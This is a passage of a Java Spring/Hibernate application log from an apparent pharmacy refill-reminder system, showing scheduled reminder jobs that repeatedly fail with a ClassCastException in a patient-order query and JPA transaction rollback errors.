com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 21:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 21:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 21:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 21:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 21:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 21:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 21:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 21:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at 